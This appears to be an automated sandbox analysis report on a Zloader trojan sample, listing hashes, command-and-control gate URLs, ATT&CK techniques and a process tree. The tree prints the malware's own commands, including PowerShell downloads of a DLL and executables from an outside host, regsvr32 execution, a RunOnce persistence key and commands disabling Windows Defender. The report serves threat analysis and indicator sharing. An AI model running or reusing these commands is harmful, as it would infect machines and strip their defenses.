zloader | edaabcb2e82b51c9b8df54dc82afc494bff804b1b187c4657ab583e8ca0bd052

Analysis

max time kernel
78s
max time network
154s
platform
windows10_x64
resource
win10v20210408
submitted
16-08-2021 17:59

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General

Target

8f87fe90d589a4fa73cff6a242fe222b.exe
Size

165KB
MD5

8f87fe90d589a4fa73cff6a242fe222b
SHA1

381e33872d0f6f1a7233beeb6e9524435c2a9ab6
SHA256

edaabcb2e82b51c9b8df54dc82afc494bff804b1b187c4657ab583e8ca0bd052
SHA512

f0ce6885ac47429df5a1a0779c9a455300d77284ef71ff1e344afe2344513b430705ce50d62fceddb051cb5df8b67e1c4969b377413647f4cbe23fc87351aca0

Score

10^/10

zloader ivan ivan botnet persistence trojan

Malware Config

Extracted

Family

zloader

Botnet

ivan

Campaign

ivan

https://iqowijsdakm.com/gate.php

https://wiewjdmkfjn.com/gate.php

https://dksaoidiakjd.com/gate.php

https://iweuiqjdakjd.com/gate.php

https://yuidskadjna.com/gate.php

https://olksmadnbdj.com/gate.php

https://odsakmdfnbs.com/gate.php

https://odsakjmdnhsaj.com/gate.php

https://odjdnhsaj.com/gate.php

https://odoishsaj.com/gate.php

rc4.plain

rsa_pubkey.plain

Signatures

Zloader, Terdot, DELoader, ZeusSphinx
Zloader is a malware strain that was initially discovered back in August 2015.
trojan botnet zloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

8 4000 powershell.exe
Downloads MZ/PE file
Loads dropped DLL 1 IoCs

Processes:

regsvr32.exe

pid process

2680 regsvr32.exe

flow	pid	process
8	4000	powershell.exe

pid	process
2680	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

8f87fe90d589a4fa73cff6a242fe222b.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	8f87fe90d589a4fa73cff6a242fe222b.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8f87fe90d589a4fa73cff6a242fe222b.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4000 powershell.exe
4000 powershell.exe
4000 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4000 powershell.exe

pid	process
4000	powershell.exe
4000	powershell.exe
4000	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4000	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

8f87fe90d589a4fa73cff6a242fe222b.execmd.exeregsvr32.exe

description	pid	process	target process
PID 636 wrote to memory of 2696	636	8f87fe90d589a4fa73cff6a242fe222b.exe	cmd.exe
PID 636 wrote to memory of 2696	636	8f87fe90d589a4fa73cff6a242fe222b.exe	cmd.exe
PID 2696 wrote to memory of 4000	2696	cmd.exe	powershell.exe
PID 2696 wrote to memory of 4000	2696	cmd.exe	powershell.exe
PID 2696 wrote to memory of 3788	2696	cmd.exe	regsvr32.exe
PID 2696 wrote to memory of 3788	2696	cmd.exe	regsvr32.exe
PID 3788 wrote to memory of 2680	3788	regsvr32.exe	regsvr32.exe
PID 3788 wrote to memory of 2680	3788	regsvr32.exe	regsvr32.exe
PID 3788 wrote to memory of 2680	3788	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe
"C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:636

C:\Windows\SYSTEM32\cmd.exe
cmd /c start.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Invoke-WebRequest https://pornotublovers.com/JavaP.dll -OutFile JavaP.dll
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4000

C:\Windows\system32\regsvr32.exe
regsvr32 JavaP.dll
3⤵
- Suspicious use of WriteProcessMemory
PID:3788

C:\Windows\SysWOW64\regsvr32.exe
JavaP.dll
4⤵
- Loads dropped DLL
PID:2680

C:\Windows\SysWOW64\msiexec.exe
msiexec.exe
5⤵
PID:1252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Invoke-WebRequest https://pornotublovers.com/nsudo.bat -OutFile nsudo.bat
3⤵
PID:3988

C:\Windows\system32\cmd.exe
cmd /c nsudo.bat
3⤵
PID:696

C:\Windows\system32\cacls.exe
"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
4⤵
PID:4036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Invoke-WebRequest https://pornotublovers.com/javase.exe -OutFile javase.exe
4⤵
PID:3520

C:\Users\Admin\AppData\Roaming\javase.exe
javase -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
4⤵
PID:2128

C:\Users\Admin\AppData\Roaming\javase.exe
javase -U:T sc config WinDefend start= disabled
4⤵
PID:3880

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
42d4b1d78e6e092af15c7aef34e5cf45

SHA1
6cf9d0e674430680f67260194d3185667a2bb77b

SHA256
c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

SHA512
d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
0cd0a4725424c6df02ba40663fe0a2e6

SHA1
e76591c9570c1d3c33a1e7f9f2c650a30e6f0224

SHA256
80f165cabec26b89962bed756c8478b5510f8da3740c46faf45e932a355a6e12

SHA512
9ea8888e38b986c3fd651ccabb22666f17517a208c92feca4cc8660a599c98bb8cf4764afda2e524014e682f5979649d05af784be5b6950073ec1af55e54939c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
81a4f63ee9c9c9fd7a1d97d03641813f

SHA1
3e3ce1ac1bd5457c7d3aa1260d2ace3f9f39b476

SHA256
ed36d6e9e0ed6cbde1dd007db49a5a48853bc8eb3c299b9e62531089dfbf3a01

SHA512
25ab9f55ac0b67a5052a8f393d241c352ba3bbc627baef156a7e836ed6c21f6dd83d93322cc4e4d152c83bca80a1c463af28b8ba61a9bf73202a8fcd525439a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\start.bat
MD5
676d31dd4a8405ead757e0b72d6bd381

SHA1
789a5fc1af78a0630ae705f6dd5506dd476d9d0f

SHA256
57d69a6ca957beb5c9eed7f39d0bb56e6d3348bd510fbba10ad0c19438a712b7

SHA512
79cc7bd42feb80d9a552f2fd6145795ab1904ca7c8d4175f70f9225b04eddcc7107ebf4391eac9d578ed7b963ce192df58050e73b8eaed30e3ef89405e18028c

Download Submit
C:\Users\Admin\AppData\Roaming\JavaP.dll
MD5
23cb9715b98c53a8351d0cfb3d0a24eb

SHA1
4048470f92c65898b3e7186cc98108b74e4b2171

SHA256
bf74dac2db3967e1d661db1bfdbee8fe546bd19ecdcef0baf6b61fb3f78a89d7

SHA512
4b3753020e795b8ba96d292097633a837579aa3b5fa68f7b39f8d76ce3bf3cec6a43663526f9ae79283b4a9aa9034ab96605a554b035ff35f6e10a42bf3efdc1

Download Submit
C:\Users\Admin\AppData\Roaming\javase.exe
MD5
5cae01aea8ed390ce9bec17b6c1237e4

SHA1
3a80a49efaac5d839400e4fb8f803243fb39a513

SHA256
19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

SHA512
c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

Download Submit
C:\Users\Admin\AppData\Roaming\javase.exe
MD5
5cae01aea8ed390ce9bec17b6c1237e4

SHA1
3a80a49efaac5d839400e4fb8f803243fb39a513

SHA256
19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

SHA512
c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

Download Submit
C:\Users\Admin\AppData\Roaming\nsudo.bat
MD5
6f10d512d4cbb527fd26ae266d0a4aef

SHA1
6e42d51ff2d42c5f999943b329a655e901ea4b32

SHA256
b37efaf69f5484fd2e4ec9c83553b9788e39a10fc4390065c29d59f770f34943

SHA512
4f66e8435b8439ace551ad8a70483926891ff3f55b27688602b2e0c58999054bd430308879374f4e8c990a91c3e9cc9cd78b6d355d4370051528bce536e1028e

Download Submit
\Users\Admin\AppData\Roaming\JavaP.dll
MD5
23cb9715b98c53a8351d0cfb3d0a24eb

SHA1
4048470f92c65898b3e7186cc98108b74e4b2171

SHA256
bf74dac2db3967e1d661db1bfdbee8fe546bd19ecdcef0baf6b61fb3f78a89d7

SHA512
4b3753020e795b8ba96d292097633a837579aa3b5fa68f7b39f8d76ce3bf3cec6a43663526f9ae79283b4a9aa9034ab96605a554b035ff35f6e10a42bf3efdc1

Download Submit
memory/696-170-0x0000000000000000-mapping.dmp

Download
memory/1252-152-0x00000000004C0000-0x00000000004E6000-memory.dmp

Filesize
152KB

Download
memory/1252-143-0x0000000000000000-mapping.dmp

Download
memory/2128-195-0x0000000000000000-mapping.dmp

Download
memory/2680-139-0x0000000000000000-mapping.dmp

Download
memory/2680-142-0x0000000010000000-0x000000001017A000-memory.dmp

Filesize
1.5MB

Download
memory/2680-141-0x0000000002800000-0x0000000002801000-memory.dmp

Filesize
4KB

Download
memory/2696-114-0x0000000000000000-mapping.dmp

Download
memory/3520-188-0x000001D5ABEE0000-0x000001D5ABEE2000-memory.dmp

Filesize
8KB

Download
memory/3520-173-0x0000000000000000-mapping.dmp

Download
memory/3520-189-0x000001D5ABEE3000-0x000001D5ABEE5000-memory.dmp

Filesize
8KB

Download
memory/3520-190-0x000001D5ABEE6000-0x000001D5ABEE8000-memory.dmp

Filesize
8KB

Download
memory/3788-137-0x0000000000000000-mapping.dmp

Download
memory/3880-197-0x0000000000000000-mapping.dmp

Download
memory/3988-165-0x0000019372066000-0x0000019372068000-memory.dmp

Filesize
8KB

Download
memory/3988-155-0x0000019372063000-0x0000019372065000-memory.dmp

Filesize
8KB

Download
memory/3988-154-0x0000019372060000-0x0000019372062000-memory.dmp

Filesize
8KB

Download
memory/3988-146-0x0000000000000000-mapping.dmp

Download
memory/4000-132-0x00000203F5B36000-0x00000203F5B38000-memory.dmp

Filesize
8KB

Download
memory/4000-127-0x00000203F5B33000-0x00000203F5B35000-memory.dmp

Filesize
8KB

Download
memory/4000-126-0x00000203F5B30000-0x00000203F5B32000-memory.dmp

Filesize
8KB

Download
memory/4000-125-0x00000203F6AA0000-0x00000203F6AA1000-memory.dmp

Filesize
4KB

Download
memory/4000-121-0x00000203F5C40000-0x00000203F5C41000-memory.dmp

Filesize
4KB

Download
memory/4000-116-0x0000000000000000-mapping.dmp

Download
memory/4036-172-0x0000000000000000-mapping.dmp

Download